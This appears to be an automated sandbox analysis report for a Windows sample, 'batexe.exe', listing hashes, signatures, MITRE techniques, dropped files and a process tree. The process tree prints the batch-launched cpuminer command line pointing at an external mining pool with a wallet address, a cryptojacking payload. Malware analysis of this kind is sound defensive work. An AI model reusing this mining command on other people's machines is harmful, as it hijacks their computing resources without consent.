73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 17:21

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General

Target
batexe.exe
Size 9.4MB
Sample240221-vxgm4ace22
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4008	b2e.exe
924	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
924	cpuminer-sse2.exe
924	cpuminer-sse2.exe
924	cpuminer-sse2.exe
924	cpuminer-sse2.exe
924	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/544-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 544 wrote to memory of 4008	544	batexe.exe	89
PID 544 wrote to memory of 4008	544	batexe.exe	89
PID 544 wrote to memory of 4008	544	batexe.exe	89
PID 4008 wrote to memory of 4316	4008	b2e.exe	90
PID 4008 wrote to memory of 4316	4008	b2e.exe	90
PID 4008 wrote to memory of 4316	4008	b2e.exe	90
PID 4316 wrote to memory of 924	4316	cmd.exe	94
PID 4316 wrote to memory of 924	4316	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:544
- C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8C23.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe
Size 14.4MB
SHA256 ce8260d2c169397b9c75af83bf9fc7bf9674425d595b9162b279ec1d5b74ec89
MD5 f1e9d5329e1622b0f0320ae8e0c413f7
SHA1 1f98e7a9a09d621cc67701cb6c8d9d555fec6543
SHA512 1629fd6d2e32237739efaed3dfe0aa470dddeeb4123438e8155f1935d604560a95d927f0202f30b6c25993aa4d301160c56c535499a12c42f28487b111dadc0e
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBx:wWrJQ9CuKdIncRBGy
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe
Size 3.2MB
SHA256 07f7d84ed5ce94bcb07bcbccc66909550b27f4fc5e8cca3b348bd9b5b172d106
MD5 40889b384a48274d43cff4f5fc6ca21a
SHA1 62bdcdf62b98f9ccaf9f1cc3eaeeb448aa4894e1
SHA512 bd5ec17399dcf9b857c36e95d01e216b3b0130402d086697c83519f32464e053a9a7d63d3575787059e61e367ce5863161c201b5856d079fc6e6ce83f8b98897
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZn:2Vh7J/WrocAdkmBtKCj
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8750.tmp\b2e.exe
Size 2.4MB
SHA256 5143fc3449d84ea5cf510321dc92e2e28e68385863a6b07da646a406b53a875e
MD5 000f75482a8f3c361e1ef9b58a16ee5f
SHA1 4e67fd460b9fa59dc5c1147833ad2f40f94d0279
SHA512 fe72c633e123cea33c480746a4534fe6228f2c1f6184edbc75c144a201fb556ba0d68415c2abaa9c844a39bb900300f24476e38a4e13825829da54d629eaf152
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJGq:2Vh7J/WrocAdkmR
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\8C23.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.3MB
SHA256 c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
MD5 4c04147c386ba8792ac6a03069572a8a
SHA1 dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA512 a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO8rLG:xvN/LOOh6
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 42KB
SHA256 7b971ee9e53270359e987aced51dfdaead26987651fff474db6907dca395c0bc
MD5 e82fb282ee4f91dcf656a44e54434264
SHA1 446bb698df4182e1fc855b3ae15cb3390c87b214
SHA512 c4e5f4506f8a8ca06185fcff5496b3eb1e187daf3ed1223581fd5d230e5007ede6ea45ecd5ba2127e115b1d2074ecde53d263d8ec67214787d2c86f06664abc3
SSDEEP 768:vAikINYjK91JaCQT2RUQkH0ptgBpzCsfXmhvNtpkDbc/:MIKTiUQkHCYRtfXet2bO
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 256KB
SHA256 e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402
MD5 11e8812bfa1d698cdeb73a16c1d7c963
SHA1 e8708fd452ab5946b380d0c353ac26acf289e548
SHA512 fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e
SSDEEP 3072:GaN/00Cl6WVwdIlV7u+D7hTW/cggTsIBmRe0Li0yklsfwSfXYFxYJ2jhrK1mEz:G6l05RRx7sVReffLoF62Fryz
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 6.0MB
SHA256 01b19fa2b22157a8ddf626ec48e59239a10962be3f128406b0652b85417ef3ce
MD5 bec2cbd31bbb9a6b45e26234eeb4a3df
SHA1 578c3db3c2902f5f6ca0c4ceea64070b0da9dcc2
SHA512 58ecb254954d6fa7b7dbd98eab7c783a02930f3695e354fb9fe1265676def596ebbcc6af5d36a55a86a294da1ab959d455879c2403c4df2354f9baea1d44100d
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6ina7b:DGGvJ3fnMb
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 6.0MB
SHA256 890b7187dbd6b658e93fc35f3ebe6a00808acfbf0ae4bd2649dcbf128ddf71ab
MD5 e2dcbb14816661b56e351609d1a66cda
SHA1 07e0ab77560851bccdc31a4b568ec5ccb09ca50b
SHA512 7f16cef21a4f3eeac54ba6dd91054b55c36591f79d995fb4724ba5fbdaf6fec0f269ff04c6fcdea3695dfb8a19db8a97d966f48a4d0d508ac93f57776a26b0c3
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6ina7J4:DGGvJ3fnMa
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 5.3MB
SHA256 2a93b67113b2bf7f65576113f7d8b717c7ddf09c8a70322f35414f1b80346c27
MD5 ecc7b5533b014cff68f8875f84f9e727
SHA1 4934262bc174f8fe45ebc66ccb457b3521f004ae
SHA512 6f94574dca09340620504db2d1428bb49afb57a07680d2d4660a99ff3dc92a2f27a4582658eef62cd6abf57d4f9678b0bddf9548e56f5d39248ed881e6bb21ea
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6inac:DGGvJ3fnh
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/544-8-0x0000000000400000-0x000000000393A000-memory.dmp

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memory/924-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-64-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/924-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/924-46-0x000000005DD80000-0x000000005DE18000-memory.dmp

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memory/924-47-0x0000000001060000-0x0000000002915000-memory.dmp

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memory/924-104-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-54-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-69-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/924-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4008-9-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4008-53-0x0000000000400000-0x0000000000405000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads